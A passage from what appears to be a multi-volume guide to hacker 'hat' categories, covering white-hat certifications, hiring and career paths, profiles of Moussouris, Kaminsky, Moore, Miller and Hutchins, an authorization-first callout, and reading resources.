EC-Council CEH (Certified Ethical Hacker) — the well-known-but-soft credential²⁴. CEH was the first widely-recognized “ethical hacking” certification (introduced 2003); the exam is multiple-choice (with an optional practical add-on, CEH Practical, available since 2018). Among working pentesters CEH has limited respect — the multiple-choice format does not test practical skills, and the certification’s curriculum has historically been criticized as outdated and tool-list-oriented rather than skill-developing. CEH is, however, the credential most often listed in federal-contracting job requirements via DoD 8570 / DoD 8140 workforce-qualification frameworks²⁵ — Vol 4 §9 noted this — which means CEH retains real market relevance in the DoD-contractor and federal-civilian-agency space even where its technical respect is low. The 2026 examination fee is approximately $1,200 USD (with various training-and-exam bundles available at different price points).

The substantive table:

Cert	Provider	Format	Approximate cost (2026)	Industry weight	When useful
OSCP	Offensive Security	24-hour practical lab + 24-hour report	$1,600 (PEN-200 bundle)	High	Entry-to-mid pentest hires; the de-facto baseline
PNPT	TCM Security	5-day practical lab + report; AD-focused	$399–$599	Rising	Entry-level alternative to OSCP; accessible pricing
CRTO	Zero-Point Security	Practical lab, red-team ops	~$500 (£399)	High in red-team circles	Mid-to-senior red-team operator roles
OSEP / OSCE / OSED / OSEE	Offensive Security	Practical	$2,500+ each	High	Senior offensive specializations
GPEN / GXPN / GWAPT	SANS / GIAC	Multi-hour proctored exam	$8,000+ (SANS course bundle)	High, especially in enterprise/government	Enterprise-and-government pentest roles
CISSP	(ISC)²	Multiple-choice, 8 CBK domains	~$749 + maintenance	High for management; mocked by practitioners	CISO, manager, architect roles
CEH	EC-Council	Multiple-choice + optional practical	~$1,200	Low among practitioners; high in DoD 8140 listings	Federal-contractor procurement; resume-bullet for some roles
CompTIA Security+	CompTIA	Multiple-choice	~$392	Foundational; entry-level signaling	First cert for green-hat / military / federal-contractor on-ramp

Table 6.5 — The white-hat cert ladder as of early 2026. Pricing changes frequently; treat the dollar figures as approximate. The “Industry weight” column reflects practitioner community consensus, which does not always match procurement requirements (CEH is the clearest case — practitioners rate it low, but DoD 8140 and many federal-contracting job postings still require it).

A subsidiary observation worth flagging because it affects working-pentester career strategy: the credential market is the floor; the portfolio is the differentiator. A candidate with only an OSCP and a clean resume is competitive for entry-level roles. A candidate with an OSCP plus a public GitHub of substantive security work, plus public CTF writeups, plus a couple of conference talks, plus active HackerOne or Bugcrowd profile is competitive for mid-level roles with substantial salary uplift. The certs open the door; the portfolio decides what’s behind it.

6.2 The portfolio and the home lab

What hiring managers actually weigh, separate from the certs:

A public CTF history. Sites like HackTheBox, TryHackMe, PortSwigger Web Security Academy, and Root-Me have public profiles that show what boxes a candidate has solved. The profile is concrete evidence of skill; “I’ve owned the HackTheBox machines X, Y, Z” with timestamps is harder to fake than a resume bullet. Substantial active CTF history is itself a hiring signal.
A GitHub of substantive work. Original tooling, contributions to open-source security projects, well-documented write-ups of homelab projects, public BloodHound queries, custom Nmap NSE scripts, Burp BApp extensions — anything that shows the candidate is producing security work rather than just consuming it. A working consultant’s GitHub profile is, by 2026 industry consensus, the most useful single artifact in their portfolio.
A public writeup pipeline. CTF writeups (specific to the platforms that allow them; most do, with retired-box restrictions), Vulnerability writeups (bug-bounty disclosures, when the program permits), Blog posts (Medium, personal blog, dev.to, Mastodon-or-equivalent presence). Writing in public is itself a skill, and a candidate who writes well about technical work is signaling something the hiring manager values.
Conference talks. Speaking at DEF CON, Black Hat, BSides events, or specialized conferences (Hack in The Box, RSA, Shmoocon, NorthSec) is the strongest single portfolio signal. Most pentesters won’t speak — speaking is hard and is selected-for. A candidate with a couple of BSides talks on record is highly competitive at any seniority.
A working home lab. Sarah’s day-job lab (the firm’s testing VM) is institutional; her personal lab on the home network is what shows the depth of her practice. The expected home-lab structure in 2026: a few virtualization hosts running ESXi or Proxmox; a Domain Controller VM, a couple of Windows workstation VMs, and a Linux victim or two; an Active Directory configured deliberately with the common misconfigurations; a copy of Kali running the offensive tooling; sometimes an SDR setup with HackRF or RTL-SDR for RF work; sometimes a Pineapple or Flipper for short-range RF practice. The home lab is where weekend tinkering happens and where new techniques get tried before being applied to a client.

6.3 The interview

The white-hat interview process, in 2026, has roughly stabilized at three or four stages:

Recruiter / initial screen — phone or video call, 30 minutes, mostly experience-and-fit. Establishes whether the candidate is a real person, whether they have the required cert (or a credible plan to earn it), and whether their compensation expectations are in the firm’s range.
Technical screen — 60–90 minutes with a working pentester or red-team operator. Walking through the candidate’s recent work; asking them to explain a technique end-to-end (NTLM relay; OAuth open-redirect; an Nmap evasion sequence); a brief whiteboard exercise. The interviewer is looking for whether the candidate can talk fluently about real engagement work, not just textbook concepts.
Practical exercise — a HackTheBox box, a VulnHub VM, or a custom firm-built lab environment that the candidate is given a fixed window to compromise. Some firms do this synchronously (a 4–6 hour timed exercise with the interviewer observing remotely); others give the candidate a take-home (48–72 hours, with a writeup expected). The exercise is the closest the interview process gets to actually testing the work.
Scenario interview / soft-skills check — typically with a senior consultant or engagement manager. “You’re four days into a five-day engagement and you’ve found a critical finding the client doesn’t want to acknowledge. Walk me through how you handle it.” “You discover a host clearly out-of-scope is trivially exploitable. What do you do?” The interview tests whether the candidate has the discipline-and-judgment side of the practice, not just the technical skills.

In-house red-team interviews share most of this structure with one extra layer — the in-house process typically includes a culture-and-political-fit interview with someone from the security leadership chain. The question being tested is “can this candidate work effectively with the engineering teams they’ll be testing for the next several years?” The same person on the same Tuesday can interview brilliantly for a consultancy role and indifferently for an in-house role; the political dimension is genuinely different.

Bug-bounty work has, by definition, no interview process — the candidate “applies” by submitting findings.

6.4 Consultancy versus in-house versus bug bounty — the trade-off matrix

The three white-hat career modes have substantially different working textures. The trade-off:

Dimension	Consultancy	In-house	Bug bounty
Compensation	Higher base + bonus at senior levels; the firm’s billable-rate model supports it	Lower base nominally, often comparable total comp with equity at fast-growing firms; benefits and PTO better	Variable; from spare income to mid-six-figures for top researchers; highly skewed distribution
Stability	High while at the firm; consultancy firms have layoff cycles tied to client demand	Highest of the three when employed by a stable firm	Lowest — income depends on findings
Variety	Highest — a different engagement every 2–4 weeks; broad industry exposure	Lower — single deep target (the employer); same stack year over year	High — researcher chooses targets and rotates programs
Reputation-building	Strong external signal — conference talks, blog posts, certs are firm-encouraged	Less external — internal reputation matters; external profile may be discouraged	Highest external signal — HackerOne / Bugcrowd public profile is the resume
Skill development	Broad but shallow — many engagements; less depth per target	Deep but narrow — single target over years; specialized expertise	Self-directed — depends on researcher’s discipline
Hours	Variable; engagement-driven; can be intense at week-end seams	More predictable; 40-ish hours; engagement-burst weeks possible	Self-paced; tends to evening / weekend; bursty around findings
Travel	Significant historically; reduced post-2020 but still ~25% for many roles	Minimal	None inherent
Politics	External — managing client relationships, navigating engagement scope conversations	Internal — long-running relationships with engineering teams whose work is being tested	None inherent — researcher is independent
Best fit	Early-to-mid career; variety-seeking; building external profile	Late-mid to senior; depth-seeking; comfortable with internal politics	Supplementary income or full-time independent; high tolerance for income variability

Table 6.6 — The white-hat career-mode trade-off matrix. The three modes are not mutually exclusive over a career — the common pattern is consultancy → in-house → independent / hybrid, with the consultancy stint as the breadth-builder, the in-house stint as the depth-builder, and the independent / hybrid mode as the late-career synthesis. The reverse pattern (in-house first) is less common but exists; the bug-bounty-only career is rare as a sole income source but common as a supplementary one. Vol 18 will treat the career synthesis at full depth.

A subsidiary point on government offensive operations (NSA TAO, US Cyber Command, UK NCSC, equivalents in other NATO-aligned states): these are white-hat roles by definition (authorized by the operating government), with classification-and-clearance overlays that change the working day substantially. The compensation is government-pay-scale (lower than private at equivalent seniority), the clearance investment is substantial (TS/SCI with polygraph is the standard for offensive roles; the process is months to a year and can fail for various reasons), and the work is not externally visible — talk about it in public is constrained by clearance. The career path is meaningfully different from the three modes above and intersects only partially with the private-sector career ladder. Vol 18 will treat this at depth.

7. Famous figures

A short roster of white-hat practitioners whose work shaped the field. The selection emphasizes people whose impact is broad rather than narrow — researchers and practitioners whose work changed how the practice itself is done, not just the tools used. The intent is not exhaustive coverage of the field’s notable figures; that’s well beyond a single volume’s reach. The intent is to ground the discussion of white-hat practice in real people whose careers and decisions exemplify what white-hat work has looked like over the field’s professional history.

Career role claims in the profiles below are accurate as of early 2026; verify current employer via the cited footnote primary sources before relying on this for outreach.

7.1 Katie Moussouris — the bug-bounty institution-builder

Katie Moussouris presenting at Kiwicon 9 (New Zealand security conference), 2015. Moussouris is the canonical figure for the institutionalization of bug-bounty programs at scale — she built Microso… — Katie Moussouris presenting at Kiwicon 9 (New Zealand security conference), 2015. Moussouris is the canonical figure for the institutionalization of bug-bounty programs at scale — she built Microsoft's Bug Bounty Program (2013), the U.S. Department of Defense's Hack the Pentagon program (2016), and the broader bug-bounty regulatory frame. Photo: File:Katie Moussouris Kiwicon 9 presenter (91).jpg by Kristina D.C. Hoeppner. License: CC BY-SA 2.0 (https://creativecommons.org/licenses/by-sa/2.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3AKatie%20Moussouris%20Kiwicon%209%20presenter%20(91).jpg).

Figure 6.2 — Katie Moussouris at Kiwicon 9, 2015. File:Katie Moussouris Kiwicon 9 presenter (91).jpg by Kristina D.C. Hoeppner. License: CC BY-SA 2.0 (https://creativecommons.org/licenses/by-sa/2.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3AKatie%20Moussouris%20Kiwicon%209%20presenter%20(91).jpg).

Katie Moussouris is the canonical figure for the institutionalization of bug-bounty programs as a standard component of corporate and government security operations. Working at Microsoft Security Response Center (MSRC) in the early 2010s, Moussouris led the creation of Microsoft’s first formal Bug Bounty Programs in 2013 — three concurrent programs launched simultaneously: the Mitigation Bypass Bounty, the BlueHat Bonus for Defense, and the IE11 Preview Bug Bounty²⁶ — which broke Microsoft’s longstanding “no payment for vulnerabilities” policy and changed industry expectations. Moussouris subsequently played a central role in convincing the U.S. Department of Defense to launch its Hack the Pentagon program in March 2016²⁷, the first federal-government bug-bounty program in the U.S., and went on to advise multiple national governments on the structural and policy questions involved in running bounty programs at scale.

Since 2016 Moussouris has led Luta Security, the consultancy she founded that advises governments and large corporations on bug-bounty program design and broader vulnerability-disclosure-policy implementation. Her work on the Wassenaar Arrangement — the multilateral export-control regime — was particularly consequential; Moussouris was a leading voice in the security-research community’s pushback against early 2015 proposed amendments that would have restricted cross-border vulnerability-research collaboration²⁸. She has been profiled in Wired, The Washington Post, the BBC, and many other outlets; her work is the canonical reference for the question “how does an organization build a sustainable program for receiving and acting on vulnerability disclosures?”

Why she matters for this volume: Moussouris exemplifies the white-hat operator whose contribution is not at the engagement level (a specific compromise; a specific report) but at the institutional level — she built the structures that let many other white-hat operators do their work legitimately. The bug-bounty career mode (§5.3, §6.4) exists at industrial scale in 2026 substantially because of her work in the 2013–2018 window.

7.2 Dan Kaminsky — the responsible-disclosure exemplar

Dan Kaminsky speaking, 2012. Kaminsky's 2008 disclosure of the DNS cache-poisoning vulnerability — coordinated across 16+ vendors before public release on July 8, 2008 — is the canonical case study… — Dan Kaminsky speaking, 2012. Kaminsky's 2008 disclosure of the DNS cache-poisoning vulnerability — coordinated across 16+ vendors before public release on July 8, 2008 — is the canonical case study in responsible vulnerability disclosure at internet-infrastructure scale. He died unexpectedly in April 2021. Photo: File:Dan Kaminsky (7724088352).jpg by Jason Scott. License: CC BY 2.0 (https://creativecommons.org/licenses/by/2.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3ADan%20Kaminsky%20(7724088352).jpg).

Figure 6.3 — Dan Kaminsky, 2012. File:Dan Kaminsky (7724088352).jpg by Jason Scott. License: CC BY 2.0 (https://creativecommons.org/licenses/by/2.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3ADan%20Kaminsky%20(7724088352).jpg).

Dan Kaminsky is the canonical case study in responsible vulnerability disclosure at internet-infrastructure scale. In early 2008, Kaminsky discovered a fundamental DNS cache-poisoning vulnerability (the “Kaminsky bug”, ultimately CVE-2008-1447) that affected essentially every DNS resolver implementation in production at the time²⁹. The vulnerability — a class of weaknesses in how DNS implementations validated authoritative responses, exploitable to inject false records into resolver caches with high probability over short time windows — was severe enough that a careless public disclosure could have produced large-scale internet-infrastructure compromise within hours.

Kaminsky’s response was to coordinate disclosure with a working group of vendors covering all major DNS implementations — ISC (BIND), Microsoft, Cisco, Nominum, and others — over a several-month embargo period beginning in early 2008, culminating in a synchronized multi-vendor patch release on July 8, 2008. The coordination involved approximately 16 vendors (the specific count varies by accounting) and was, at the time, the largest coordinated security patch in internet-infrastructure history. Kaminsky publicly disclosed the technical details at Black Hat USA in August 2008, several weeks after the synchronized patch release³⁰. The coordinated-disclosure model Kaminsky demonstrated — large multi-vendor working group, synchronized patch release, embargo enforcement, post-patch public disclosure — became a reference template for internet-infrastructure-scale disclosures in the subsequent years (the Heartbleed coordination in 2014, the Meltdown / Spectre coordination in 2018, and many others followed substantively similar patterns).

Kaminsky’s broader career was as a research-and-consulting figure — he co-founded DoxPara Research and was later Chief Scientist at White Ops (now HUMAN Security). His public-research output included substantial work on DNSSEC (he was a long-running advocate and contributor), on cryptographic randomness (his 2013 DefendTheNet contributions), and on what he called “Phreebird” (his work on simpler DNSSEC deployment). He was a regular speaker at DEF CON and Black Hat throughout the late 2000s and 2010s.

Kaminsky died unexpectedly on April 23, 2021, at age 42, from diabetic ketoacidosis³¹. The community response was substantial — DEF CON, Wired, The New York Times, Krebs on Security, and many others published tribute pieces. The Internet Hall of Fame inducted him in 2021. His name is among the most-cited single-individual references in the modern responsible-disclosure literature.

Why he matters for this volume: Kaminsky exemplifies the white-hat researcher whose contribution is a single very-high-impact finding combined with the operational discipline to disclose it responsibly. The DNS bug could have been weaponized for criminal gain; Kaminsky chose the coordinated-disclosure path, and the result was a substantially-safer internet infrastructure. The coordinated-disclosure norm in the modern field is, in significant part, due to the precedent he set.

7.3 HD Moore — the open-source tooling exemplar

HD Moore (Metasploit creator), 2013. Moore released Metasploit Framework in October 2003 — the open-source modular exploit framework that democratized authorized exploitation tooling. Rapid7 acquir… — HD Moore (Metasploit creator), 2013. Moore released Metasploit Framework in October 2003 — the open-source modular exploit framework that democratized authorized exploitation tooling. Rapid7 acquired Metasploit in October 2009; Moore is currently **co-founder and CEO of runZero** (originally founded as Rumble, Inc in 2018; renamed runZero in 2022). His "Chief Research Officer" title was at Rapid7 from 2009-2016, not at runZero. Photo: File:H.D. Moore.jpg by Manan.yadav02. License: CC BY-SA 4.0 (https://creativecommons.org/licenses/by-sa/4.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3AH.D.%20Moore.jpg).

Figure 6.4 — HD Moore, 2013. File:H.D. Moore.jpg by Manan.yadav02. License: CC BY-SA 4.0 (https://creativecommons.org/licenses/by-sa/4.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3AH.D.%20Moore.jpg).

HD Moore is the canonical figure for open-source security tooling. In October 2003, Moore — then in his early twenties, working at Digital Defense — released the first public version of Metasploit Framework³², the modular exploit framework that would, over the subsequent two decades, become the canonical white-hat exploitation platform. Metasploit’s contribution was structural: prior frameworks (CORE IMPACT, IMMUNITY CANVAS) were commercial, expensive, and gated behind buyer-verification programs; Metasploit was open-source, free, and let any working pentester reuse exploit code that had previously been per-engagement reimplementations. The modular structure (exploits decoupled from payloads, payloads from encoders, etc.) was the engineering innovation that let the framework scale beyond a one-person research project.

Moore’s career has had several distinct phases. The early-Metasploit phase (2003–2009) culminated in Rapid7’s acquisition of Metasploit in October 2009³³; Moore became Chief Research Officer at Rapid7 and oversaw the Metasploit Pro commercial product development alongside the continued open-source Framework. He left Rapid7 in 2016, spent time as VP of R&D at Atredis Partners, and then founded Rumble, Inc in 2018, which rebranded to runZero, Inc in 2022³⁴. runZero is a network-and-asset discovery (cyber asset attack surface management) product; Moore is currently co-founder and CEO of runZero (not the “Chief Research Officer” title sometimes carried over from his Rapid7 era). The work is in the asset-inventory space rather than exploitation, but the underlying engineering instinct (build the tool the field needed; make it scale; keep the technical bar high) is consistent across his career.

Why he matters for this volume: Moore exemplifies the white-hat researcher whose contribution is the tooling infrastructure that other white-hat operators build their work on top of. Metasploit democratized exploitation in a way that compares to what Burp Suite did for web application testing or what Kali Linux did for the offensive Linux distribution. The cost-of-entry for a working pentester in 2026 is substantially lower than it was in 2003 — in significant part because of the open-source tooling lineage Moore catalyzed.

7.4 Charlie Miller — the applied-research-with-real-impact exemplar

Charlie Miller at Infiltrate 2012. Miller is best known for early Apple platform research (multiple Pwn2Own wins for iOS jailbreaks), the 2009 "No More Free Bugs" CanSecWest talk that catalyzed the… — Charlie Miller at Infiltrate 2012. Miller is best known for early Apple platform research (multiple Pwn2Own wins for iOS jailbreaks), the 2009 "No More Free Bugs" CanSecWest talk that catalyzed the bug-bounty discussion, and the 2015 Jeep Cherokee CAN-bus remote-compromise demonstration with Chris Valasek (covered in WIRED). He was Principal Autonomous Vehicle Security Architect at Cruise; Cruise was wound down by GM in late 2024 / early 2025 and the work was absorbed into GM's Super Cruise program for personal vehicles. His current post-absorption affiliation is unverified from public sources. Photo: File:Charlie Miller Infiltrate 2012.jpg by Alexander Klink. License: CC BY 3.0 (https://creativecommons.org/licenses/by/3.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3ACharlie%20Miller%20Infiltrate%202012.jpg).

Figure 6.5 — Charlie Miller at Infiltrate 2012. File:Charlie Miller Infiltrate 2012.jpg by Alexander Klink. License: CC BY 3.0 (https://creativecommons.org/licenses/by/3.0). Via Wikimedia Commons (https://commons.wikimedia.org/wiki/File%3ACharlie%20Miller%20Infiltrate%202012.jpg).

Charlie Miller is the canonical figure for white-hat research with high-profile real-world impact. Miller’s career spans Apple platform research, automotive security research, and most recently autonomous-vehicle security. He held a Ph.D. in mathematics and spent five years at the U.S. National Security Agency before transitioning to commercial security research in the 2000s.

Miller is best known for three sets of work:

Apple platform research, 2007–2012. Miller’s Pwn2Own record includes wins in 2008 (Safari on MacBook Air — the inaugural year of the laptop targets), 2009 (Safari on Mac), 2010 (Safari on Mac; the iPhone target that year was won by Vincenzo Iozzo and Ralf-Philipp Weinmann, not Miller), and 2011 (iPhone 4, with Dion Blazakis)³⁵. The serial Pwn2Own wins established Miller as the canonical figure for Apple-platform vulnerability research in the late 2000s and early 2010s. Miller subsequently turned the research toward the bug-economy framing in his 2009 CanSecWest “No More Free Bugs” talk (with Alex Sotirov and Dino Dai Zovi)³⁶, which Vol 4 §3.4 walked at depth — the talk argued that the research community had been giving vendors free vulnerability research and that researchers should expect payment or substantial vendor engagement going forward. The talk catalyzed the bug-bounty discussion (§7.1 above; Moussouris’s work) and is widely pointed to as the inflection point at which the field collectively decided that somebody should pay for research.
Automotive security research, 2013–2017. With Chris Valasek, Miller demonstrated remote compromise of a Jeep Cherokee’s CAN-bus systems through the vehicle’s Uconnect cellular interface — including remote control of the vehicle’s steering, brakes, and transmission while the vehicle was in motion on a public highway³⁷. The demonstration, covered in Wired’s July 21, 2015 cover story by Andy Greenberg³⁸, triggered a 1.4-million-vehicle recall by Fiat Chrysler and is widely credited with putting automotive cybersecurity on the regulatory agenda. The technical paper accompanying the demonstration is one of the most-cited single artifacts in automotive-security literature.
Autonomous-vehicle security, 2015–present. After the Jeep work, Miller joined Twitter’s security team briefly, then moved through Uber’s Advanced Technologies Group, then Didi Chuxing’s autonomous-vehicle security team, and then to Cruise as Principal Autonomous Vehicle Security Architect³⁹. Cruise itself was wound down in late 2024–early 2025: GM stopped funding Cruise’s robotaxi business in December 2024, Cruise laid off ~50% of its workforce in February 2025, and the autonomous-vehicle work was absorbed into GM’s Super Cruise driver-assist program for personal vehicles rather than continued as a robotaxi service. Miller’s specific post-absorption affiliation as of mid-2026 is not cleanly verifiable from public sources — speaker-bureau profiles still list him at Cruise, but the entity has effectively been folded into GM. Verify against his current LinkedIn or recent conference-speaker bio before relying on the affiliation for outreach. The career-arc trajectory — from public-demonstration research (the Jeep demonstration’s media-strategy era) to internal security engineering — remains the relevant pattern; the specific employer at the end of the trajectory is what’s currently in flux.

Why he matters for this volume: Miller exemplifies the white-hat researcher whose work changes industries through high-profile demonstrations. The Jeep demonstration changed regulatory expectations for automotive cybersecurity; the iOS Pwn2Own work changed Apple’s security investment; “No More Free Bugs” changed the bug-bounty discussion. The career trajectory from external-research-with-real-impact to internal-engineering-builds is itself a recognizable pattern in the senior white-hat practitioner population (David in §5.2 is on a less-famous version of the same arc).

7.5 Marcus Hutchins — the complicated arc

Marcus Hutchins is the white-hat figure whose career is unmistakably contested. The short version is that Hutchins — operating publicly under the handle MalwareTech — registered the kill-switch domain that stopped the WannaCry ransomware outbreak on May 12, 2017, at age 22, and was widely lauded across the security press for the act⁴⁰. Less than three months later, on August 2, 2017, Hutchins was arrested by the FBI as he attempted to leave the United States after attending DEF CON 25⁴¹. The indictment charged him with creating and selling banking-malware components (the Kronos banking trojan) in 2014 — work he had done as a teenager in the UK and had moved away from before his WannaCry work.

The legal proceedings took roughly two years. Hutchins ultimately pleaded guilty in April 2019 to two counts related to the earlier malware work, received a sentence of time served plus one year of supervised release in July 2019, and has continued working in the security industry since⁴². He is currently a working researcher; he writes publicly about malware analysis and reverse engineering; his MalwareTech blog and Twitter presence have substantial following.

The reason to include Hutchins in this volume’s famous-figures roster is the case is the canonical illustration of why the legal-line callouts in this series matter. A practitioner whose recent work is unambiguously white-hat (the WannaCry kill-switch) can still face prosecution for years-earlier work that was clearly black-hat (the Kronos sale). Vol 5 §6’s two-axis framing applies here: Hutchins’s 2017 stance was white-hat, but his 2014 stance was black-hat, and the legal posture of the earlier work followed him into his white-hat career. Vol 7 (black hat) will treat the criminal-economy lineage that the Kronos work belonged to; Vol 19 (legal line) will treat the prosecution-and-cooperation pattern.

Hutchins’s own writing about the experience — particularly his August 2020 WIRED essay reflecting on the arrest and prosecution — is unusually frank, and is the best single primary source for understanding how the career trajectory looked from inside⁴³. The pattern he describes — work that began as a teenage exploration of the malware-economy edges, eventual transition to defensive research, eventual prosecution-and-cooperation, eventual return to working research — is recognizable in several other careers in the field’s history. The combination of “white-hat researcher whose past includes black-hat work” is, depending on how the trajectory is counted, neither rare nor common in the working population. The Hutchins case is the most-publicly-visible recent instance.

Why he matters for this volume: Hutchins exemplifies what the legal-line callouts throughout this series are warning about. The same person whose 2017 work stopped a ransomware outbreak that was affecting hundreds of thousands of computers globally still faced federal prosecution for unrelated earlier conduct. The trajectory is recoverable — Hutchins is, in 2026, a working researcher with a substantial professional standing — but the cost of the earlier-career black-hat work is the prosecution-and-cooperation-and-press-coverage that the white-hat side of the work cannot erase.

Figure	Era	Canonical contribution	Why they matter for white-hat history
Katie Moussouris	2010s–present	Microsoft Bounty (2013); Hack the Pentagon (2016); Luta Security	Built the institutional structures that let bug-bounty work scale
Dan Kaminsky	2000s–2021	DNS cache-poisoning disclosure (2008); coordinated 16-vendor patch	Set the modern coordinated-disclosure template at internet-infrastructure scale
HD Moore	2000s–present	Metasploit Framework (2003); Rapid7; runZero	Democratized exploitation tooling for the working pentester
Charlie Miller	2000s–present	iOS Pwn2Own (2008–2011); “No More Free Bugs” (2009); Jeep Cherokee (2015); Cruise	Applied research with industry-changing real-world impact
Marcus Hutchins	2010s–present	WannaCry kill-switch (2017); Kronos prosecution (2017–2019); MalwareTech research	Illustrates the legal-line trajectory the callouts warn about

Table 6.7 — The famous-figures roster in shorthand. Each entry is a person whose work changed how white-hat practice is done, not just what white-hat practitioners do. The selection is not exhaustive — many other figures (Mudge, Joanna Rutkowska, Wendy Nather, Mikko Hyppönen, Bruce Schneier on the policy side, and many others) belong in a longer roster. The five chosen here cover the bug-bounty institution-building (Moussouris), the responsible-disclosure exemplar (Kaminsky), the open-source-tooling exemplar (Moore), the applied-research-with-impact exemplar (Miller), and the cautionary career trajectory (Hutchins).

8. Callouts and cross-references

The white-hat treatment lands on the rest of the deep dive as a set of explicit forward- and back-references. This section makes those explicit, plus the mandatory legal callout and the cheatsheet bullets that will end up in Vol 20.

8.1 The authorization callout — mandatory, every hat volume

The line. No authorization, no engagement. Get-out-of-jail letter, scope document, signed ROE — before the first packet. The technical content of a white-hat engagement is identical to the technical content of a black-hat intrusion; the legal status is binary, and authorization is the bit. A practitioner who starts testing before the signatures are dry has, in that moment, become a grey hat at best and a black hat at worst. Vol 19 has the full legal framing — CFAA at §2, authorization-in-practice at §4, the engagement-paperwork stack at §5. Every white-hat volume in this series carries this callout in some form. It is the single load-bearing rule of the hat.

8.2 The look-here cross-reference callout — careers and legal

Where to read next. For the broader career synthesis across all the hat colors, Vol 18 (Careers) walks the consultancy-vs-in-house-vs-government-vs-bug-bounty decision in full, with compensation data, geography effects, and the credential-vs-portfolio question treated across all the hats. For the full legal framing — CFAA statutory walkthrough, Van Buren analysis, the authorization-in-practice details, the international scene (CMA in the UK, equivalents elsewhere), and the ethics literature — Vol 19 (The legal line and ethics) is the canonical reference. For the engineering depth on the tools touched in §3 of this volume, Vol 13 (SDR and sub-GHz), Vol 14 (Wi-Fi and BLE), Vol 15 (RFID, NFC and access control), and Vol 16 (Computer-hacking tradecraft) treat the toolchain at the engineering level the §3 cross-references point into.

8.3 Cross-references to other hat volumes

The white-hat treatment sits at one end of the Axis-1 spectrum (Vol 5 §6.1); the rest of the spectrum is treated in:

Vol 7 (Black hat) — the unauthorized / criminal end. The behavioral signature on the wire is often identical; the legal status is opposite. Vol 7 §1 will reinforce the white-hat boundary from the black-hat side.
Vol 8 (Grey hat) — the unauthorized / constructive case. The most subtle distinction from white-hat practice; the disclosure-and-research literature lives here. Vol 8 §5 will treat the coordinated-disclosure-as-bridge framing in detail.
Vol 9 (Green hat) — the newcomer / on-ramp. The transition from sanctioned-learning-environment to engagement-realistic work is where the white-hat hat is first put on. Vol 9 §4 will treat the transition.
Vol 10 (Blue hat) — the defender. The blue-hat-defender role is white-hat by employment construction; the engagement-role overlap is constant. Vol 10 §3 will treat the white-hat / blue-hat overlap and the Microsoft BlueHat disambiguation Vol 5 §6.7 introduced.
Vol 11 (Red hat) — the offensive engagement-role. The white-hat / red-hat overlap is constant in modern industry; the white-hat-red-teamer is the canonical case. Vol 11 §3 will treat the engagement-role definition and the older vigilante-sense disambiguation.
Vol 12 (Purple hat) — the collaborative integration role. The white-hat / purple-hat overlap is constant; the purple practice is by construction collaborative-and-authorized. Vol 12 will treat the practice-versus-role distinction.

8.4 Cross-references to the historical and the meta volumes

Vol 4 (Modern history) §2 walked the consultancy-industry consolidation history (Foundstone → McAfee 2004; @stake → Symantec 2004; ISS → IBM 2006; Mandiant → FireEye 2013 → Google 2022; the second-generation Rapid7 / Bishop Fox / CrowdStrike / NCC Group / Trail of Bits cohort). The white-hat consulting career mode of §6 lives inside that institutional history.
Vol 4 §3 walked the responsible-disclosure / coordinated-disclosure history; the white-hat-research mode of §5.3 (Emily’s evening session) operates inside the coordinated-disclosure framework Vol 4 established.
Vol 4 §5 walked the bug-bounty-platform history through HackerOne (2012), Bugcrowd (2011/12), Synack (2013), the DoJ 2022 CFAA safe-harbor policy revision, and Apple SRD (2019). The bug-bounty career mode of §5.3 and §6.4 lives inside that platform history.
Vol 5 §6 is the master taxonomy diagram that locates the white-hat label on Axis 1; this volume’s §1 and §2 build on that placement.
Vol 5 §8 is the centerpiece visual that every later volume cross-references; the white-hat boundary at the rightmost (authorized) edge of Axis 1 is the load-bearing artifact for this volume’s definition.

8.5 Cross-references to the Hack Tools deep dives

The §3 toolchain section linked the per-tool engineering treatments. The canonical references for the working white-hat:

HackRF One deep dive — wideband SDR (1 MHz – 6 GHz); the reference open-source SDR for white-hat RF engagements.
Flipper Zero deep dive — integrated sub-GHz / RFID / NFC / IR handheld; the consolidated tool for short-range white-hat RF work.
WiFi Pineapple deep dive — purpose-built Wi-Fi-auditing platform; the reference tool for authorized Wi-Fi engagements.
Proxmark3 RDV4 directory — RFID/NFC research; the lab-grade tool for credential research under authorized physical-security scoping (deep dive aspirational).
Ducky Script deep dive — Hak5 HID-injection family; the reference for physical-access white-hat work (USB Rubber Ducky, Bash Bunny, Key Croc, O.MG family).
ESP32 Marauder Firmware deep dive — open-source Wi-Fi/BLE pentest firmware; the open-hardware alternative to the Pineapple.

8.6 Cheatsheet bullets — Vol 20 candidates

The following one-liners are the load-bearing rules of the white-hat hat, destined for Vol 20’s laminate-ready synthesis:

The hat is the paperwork, not the gear. A white-hat engagement is defined by its authorization stack — SOW, scope document, ROE, GOJL — not by the tools it uses. The same tools used without the authorization stack make the same activity black-hat or grey-hat.
Authorization is binary. Either you have it or you don’t. No defense by intent, no defense by skill, no defense by “the vulnerability was obvious.” Vol 19 covers the CFAA framing.
Get the paperwork before the packet. The first packet leaves only after the SOW is signed, the scope document is final, the ROE is agreed, and the GOJL is in the consultant’s pocket.
Stay in scope. Out-of-scope discoveries are findings, not exploits. Document, escalate, don’t pivot.
The report is the product. Approximately half the engagement time is reporting. Budget for it from day one.
Cleanup is part of the engagement. Persistence forgotten is access the consultant created without authorization. Remove what you placed.
The OSCP is the floor. The certs open the door; the portfolio decides what’s behind it. CTF history, GitHub, blog, conference talks — that’s the differentiator.
The three career modes are not mutually exclusive over a career. Consultancy for breadth; in-house for depth; bug-bounty for the supplementary income or the late-career independence. Most senior white-hat operators have walked at least two of the three.

9. Resources

The footnoted bibliography for this volume. Sources organized by category for easier scanning.

9.1 Practitioner-blog and podcast circuit

A short list of the practitioner-blog and podcast circuit relevant to white-hat work, for the reader who wants ongoing current material:

Krebs on Security (Brian Krebs): https://krebsonsecurity.com/ — daily security journalism; consequential coverage of breaches, ransomware, and the threat-actor landscape.
Risky Business (Patrick Gray and friends): https://risky.biz/ — weekly podcast; the canonical industry-news podcast for working practitioners.
Darknet Diaries (Jack Rhysider): https://darknetdiaries.com/ — narrative-format podcast; covers individual security stories and incidents at depth.
